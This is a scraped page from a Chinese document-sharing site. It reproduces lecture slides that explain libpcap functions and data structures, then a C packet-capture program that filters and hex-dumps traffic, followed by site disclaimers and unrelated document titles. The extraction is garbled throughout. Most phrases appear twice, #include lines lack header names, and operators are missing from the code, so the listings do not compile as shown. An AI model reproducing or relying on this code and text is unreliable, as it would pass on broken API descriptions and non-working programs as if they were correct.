45、;n該函數(shù)獲得指定網(wǎng)絡(luò)設(shè)備的網(wǎng)絡(luò)號(hào)和掩碼該函數(shù)獲得指定網(wǎng)絡(luò)設(shè)備的網(wǎng)絡(luò)號(hào)和掩碼 網(wǎng)絡(luò)設(shè)備的網(wǎng)絡(luò)號(hào)網(wǎng)絡(luò)設(shè)備的網(wǎng)絡(luò)號(hào)(返回值返回值) 網(wǎng)絡(luò)設(shè)備的掩碼網(wǎng)絡(luò)設(shè)備的掩碼(返回值返回值)libpcap庫函數(shù)(3)#include pcap_t *pcap_open_live(char *device, int snaplen, int promisc, int to_ms, char *ebuf);n該函數(shù)獲得用于捕獲網(wǎng)絡(luò)數(shù)據(jù)包捕獲描述符。該函數(shù)獲得用于捕獲網(wǎng)絡(luò)數(shù)據(jù)包捕獲描述符。n函數(shù)參數(shù)如下:函數(shù)參數(shù)如下:ndevice:指定打開的網(wǎng)絡(luò)設(shè)備名;:指定打開的網(wǎng)絡(luò)設(shè)備名;nsnaplen:定義捕獲數(shù)據(jù)的最大字
46、節(jié)數(shù);:定義捕獲數(shù)據(jù)的最大字節(jié)數(shù);npromisc:指定是否將網(wǎng)絡(luò)接口置于混雜模式;:指定是否將網(wǎng)絡(luò)接口置于混雜模式;nto_ms:指定超時(shí)時(shí)間(毫秒):指定超時(shí)時(shí)間(毫秒)nebuf:當(dāng)發(fā)生錯(cuò)誤時(shí),存儲(chǔ)錯(cuò)誤信息。:當(dāng)發(fā)生錯(cuò)誤時(shí),存儲(chǔ)錯(cuò)誤信息。libpcap庫函數(shù)(4)include int pcap_dispatch(pcap_t *p, int cnt, pcap_handler callback, u_char *user); 返回值:成功返回讀取到的字節(jié)數(shù),出錯(cuò)返回返回值:成功返回讀取到的字節(jié)數(shù),出錯(cuò)返回1 1。n該函數(shù)用于捕獲并處理數(shù)據(jù)包。參數(shù)意義如下:該函數(shù)用于捕獲并處理數(shù)據(jù)包。參
47、數(shù)意義如下:np p:打開的網(wǎng)絡(luò)設(shè)備描述符;:打開的網(wǎng)絡(luò)設(shè)備描述符;ncntcnt:指定函數(shù)返回前所處理數(shù)據(jù)包的最大值,:指定函數(shù)返回前所處理數(shù)據(jù)包的最大值,cnt = cnt = 1 1表示處理緩沖區(qū)中所有表示處理緩沖區(qū)中所有的數(shù)據(jù)報(bào)。的數(shù)據(jù)報(bào)。cnt = 0 cnt = 0 表示處理所有數(shù)據(jù)包,直到下述條件發(fā)生:表示處理所有數(shù)據(jù)包,直到下述條件發(fā)生:發(fā)生錯(cuò)誤發(fā)生錯(cuò)誤讀取到讀取到EOF;EOF;超時(shí)讀取。超時(shí)讀取。ncallbackcallback:指定一個(gè)帶有三個(gè)參數(shù)的回調(diào)函數(shù)。這三個(gè)參數(shù)分別是一個(gè)從:指定一個(gè)帶有三個(gè)參數(shù)的回調(diào)函數(shù)。這三個(gè)參數(shù)分別是一個(gè)從pcap_dispatch()pc
48、ap_dispatch()函數(shù)傳遞過來的函數(shù)傳遞過來的u_charu_char指針,一個(gè)是指針,一個(gè)是pcap_pkthdrpcap_pkthdr結(jié)構(gòu)的指針,結(jié)構(gòu)的指針,以及一個(gè)數(shù)據(jù)報(bào)大小的以及一個(gè)數(shù)據(jù)報(bào)大小的u_charu_char指針。指針。nuser: user: 傳遞給回調(diào)函數(shù)的參數(shù)。傳遞給回調(diào)函數(shù)的參數(shù)。libpcap庫函數(shù)(5)#include int pcap_loop(pcap_t *p, int cnt, pcap_handler callback, u_char *user);n該函數(shù)與該函數(shù)與pcap_dispatch()pcap_dispatch()函數(shù)功能基本相同。不
49、函數(shù)功能基本相同。不同的是,前者在同的是,前者在cntcnt個(gè)數(shù)據(jù)報(bào)被處理或出現(xiàn)錯(cuò)誤個(gè)數(shù)據(jù)報(bào)被處理或出現(xiàn)錯(cuò)誤才返回,才返回,。另外,如果。另外,如果cnt=-1 cnt=-1 ,pcap_looppcap_loop函數(shù)將始終循環(huán)運(yùn)行,直至函數(shù)將始終循環(huán)運(yùn)行,直至出現(xiàn)錯(cuò)誤。出現(xiàn)錯(cuò)誤。libpcap庫函數(shù)(6)include int pcap_compile(pcap_t *p, struct bpf_program *fp, char *str, int optimize, bpf_u_int32 netmask); 返回值:成功為返回值:成功為0,出錯(cuò)為,出錯(cuò)為-1。n該函數(shù)將指定的字符串編譯
50、到過濾程序中。函數(shù)參數(shù)如該函數(shù)將指定的字符串編譯到過濾程序中。函數(shù)參數(shù)如下:下:nfpfp:一個(gè):一個(gè)bpf_programbpf_program結(jié)構(gòu)指針,在函數(shù)中被賦值;結(jié)構(gòu)指針,在函數(shù)中被賦值;nstrstr:指定編譯到過濾程序中的字符串。:指定編譯到過濾程序中的字符串。noptimizeoptimize:控制結(jié)果代碼的優(yōu)化;:控制結(jié)果代碼的優(yōu)化;nnetmasknetmask:指定本地網(wǎng)絡(luò)的網(wǎng)絡(luò)掩碼。:指定本地網(wǎng)絡(luò)的網(wǎng)絡(luò)掩碼。libpcap庫函數(shù)(7)include int pcap_setfilter(pcap_t *p, struct bpf_program *fp);n該函數(shù)指定一
51、個(gè)過濾程序,參數(shù)該函數(shù)指定一個(gè)過濾程序,參數(shù)fp通常在通常在pcap_compile函數(shù)中函數(shù)中被賦值。被賦值。u_char *pcap_next(pcap_t *p, struct pcap_pkthdr *h);返回值:成功指向下一個(gè)數(shù)據(jù)包的指針。出錯(cuò)時(shí)返回返回值:成功指向下一個(gè)數(shù)據(jù)包的指針。出錯(cuò)時(shí)返回NULL。n該函數(shù)返回指向下一個(gè)數(shù)據(jù)包的指針。該函數(shù)返回指向下一個(gè)數(shù)據(jù)包的指針。int pcap_datalink(pcap_t *p); 返回值:數(shù)據(jù)鏈路層類型,如:返回值:數(shù)據(jù)鏈路層類型,如:DLT_EN10MB,或,或DLT_PPPn該函數(shù)返回?cái)?shù)據(jù)鏈路層的類型。該函數(shù)返回?cái)?shù)據(jù)鏈路層的類
52、型。libpcap庫函數(shù)(8)include void pcap_close(pcap_t *p);n該函數(shù)用于關(guān)閉打開的網(wǎng)絡(luò)設(shè)別描述符,并釋放資源。該函數(shù)用于關(guān)閉打開的網(wǎng)絡(luò)設(shè)別描述符,并釋放資源。char *pcap_geterr(pcap *p);n該函數(shù)用于返回最后一個(gè)該函數(shù)用于返回最后一個(gè)pcap庫錯(cuò)誤消息。庫錯(cuò)誤消息。libpcap數(shù)據(jù)結(jié)構(gòu)typedef struct pcap pcap_t;struct pcap int fd;intsnapshot;intlinktype;inttzoff;/* timezone offset */intoffset;/* offset for
53、proper alignment */struct pcap_sfsf;struct pcap_mdmd;intbufsize;/* Read buffer */u_char *buffer;u_char *bp;intcc;u_char *pkt;struct bpf_programfcode;charerrbufPCAP_ERRBUF_SIZE;libpcap數(shù)據(jù)結(jié)構(gòu)structpcap_pkthdr struct trmevalts;/* time stamp */bpf_u_int32caplen;/* length of portion present */bpf_u_int32le
54、n;/* length of this packet (off wire) */數(shù)據(jù)鏈路訪問實(shí)例P259功能:功能:打開網(wǎng)絡(luò)設(shè)備。打開網(wǎng)絡(luò)設(shè)備。根據(jù)用戶從命令行輸入的過濾規(guī)則產(chǎn)生過濾器。根據(jù)用戶從命令行輸入的過濾規(guī)則產(chǎn)生過濾器。捕獲所需的包并顯示。捕獲所需的包并顯示。#include #include #include #include #include #include #include #define BUFSIZE 1000#define PCAP_ERRBUF_SIZ 200void display(const u_char * packet,const size_t length);
55、void my_callback(u_char *none,const struct pcap_pkthdr * pkthdr,const u_char *packet) display(u_char *) packet,(size_t)(pkthdr-caplen);return;int main(int argc,char*argv) int i; char *dev; char errbufPCAP_ERRBUF_SIZE; pcap_t * descr; const u_char *packet; struct pcap_pkthdr hdr; struct ether_header
56、*eptr;struct bpf_program fp;bpf_u_int32 maskp;bpf_u_int32 netp;if(argc!=2) fprintf(stdout,usage:%sfilter programn,argv0);return 0;dev=pcap_lookupdev(errbuf);if(dev=NULL) fprintf(stderr,%sn,errbuf);exit(1);printf(dev=%s,dev);fflush(stdout);pcap_lookupnet(dev,&netp,&maskp,errbuf);descr=pcap_op
57、en_live(dev,BUFSIZ,1,-1,errbuf);if(descr=NULL) printf(pcap_open_live():%sn,errbuf);exit(1);if(pcap_compile(descr,&fp,argv1,0,netp)=-1) fprintf(stderr,error calling pcap_compilen); exit(1); if(pcap_setfilter(descr,&fp)=-1) fprintf(stderr,error setting filtern);exit(1);pcap_loop(descr,-1,my_ca
58、llback,NULL);return 0;void display(const u_char *packet,const size_t length) u_long offset;int i,j,k;printf(packet%lu bytes:n,(long unsigned int) length);if(length0;k-,offset+=16) printf(%08X,(unsigned int)offset); for(j=0;j16;j+,i+) if(j=8) printf(%-%02X,packeti); else printf(%02X,packeti);printf(
59、);i-=16;for(j=0;j16;j+,i+) if(packeti= )&(packeti=255) printf(%c,packeti); else printf(.);printf(n);k=length-i;if(k=0) return;printf(%08X,(unsigned int)offset);for(j=0;j0;j-) printf( );printf( );for(j=0;j= )&(packeti=255) printf(%c,packeti);else printf(.); printf(n);return; 程序運(yùn)行結(jié)果:網(wǎng)絡(luò)報(bào)文捕獲程序網(wǎng)絡(luò)
60、報(bào)文捕獲程序n要求捕獲本地網(wǎng)段接收或發(fā)送的報(bào)文,并能要求捕獲本地網(wǎng)段接收或發(fā)送的報(bào)文,并能根據(jù)命令行輸入的過濾條件過濾捕獲的數(shù)據(jù)。根據(jù)命令行輸入的過濾條件過濾捕獲的數(shù)據(jù)。mainpcap_opennext_pcapanalysistcpudpicmpcleanupexit收到終止信號(hào)Pcap.c#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define snaplen 1000#define promisc 1pcap_t *pcap;int datalink;char src20,dst20;struct pcap_pkthdr hdr;int pcap_open
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲(chǔ)空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 裝潢印刷的智能監(jiān)測系統(tǒng)考核試卷
- 口腔中的微生物
- 職場技能提升解鎖成功的新篇章考核試卷
- 項(xiàng)目經(jīng)理年底匯報(bào)
- XXX石油服務(wù)集團(tuán)股份有限公司ESG管理制度
- Pyripyropene-B-生命科學(xué)試劑-MCE
- 中考二輪復(fù)習(xí)高頻考點(diǎn)突破考點(diǎn)2;方程與方程組
- 電力行業(yè)水電商業(yè)模式穩(wěn)定低利率時(shí)代價(jià)值凸顯
- 2025年鄉(xiāng)村振興農(nóng)村電子商務(wù)基礎(chǔ)設(shè)施建設(shè)資金申請指南
- 分布式能源系統(tǒng)生物質(zhì)能源應(yīng)用2025年與生物質(zhì)能發(fā)電技術(shù)專利布局研究報(bào)告
- SAP石油天然氣行業(yè)方案介紹和演示
- G -B- 17378.7-2007 海洋監(jiān)測規(guī)范 第7部分 近海污染生態(tài)調(diào)查和生物監(jiān)測(正式版)
- GB/T 43884-2024金屬覆蓋層鋼鐵制件的鋅擴(kuò)散層-滲鋅技術(shù)要求
- (高清版)JTST 325-2024 水下深層水泥攪拌樁法施工質(zhì)量控制與檢驗(yàn)標(biāo)準(zhǔn)
- DB37∕T242-2021建筑消防設(shè)施檢測技術(shù)規(guī)程
- 某化纖毛紡廠總配變電所及高壓配電設(shè)計(jì)
- 茂名高州市村(社區(qū))后備干部招聘筆試真題2023
- 2023-2024學(xué)年上海市一年級(jí)下冊期末數(shù)學(xué)調(diào)研試卷(含答案)
- 2024年貴州黔東南州能源投資有限公司招聘筆試參考題庫含答案解析
- 西南科技大學(xué)-2019級(jí)-下-工學(xué)類-電路分析A2-畢業(yè)生補(bǔ)考-試卷
- 一中國核工業(yè)發(fā)展歷
評(píng)論
0/150
提交評(píng)論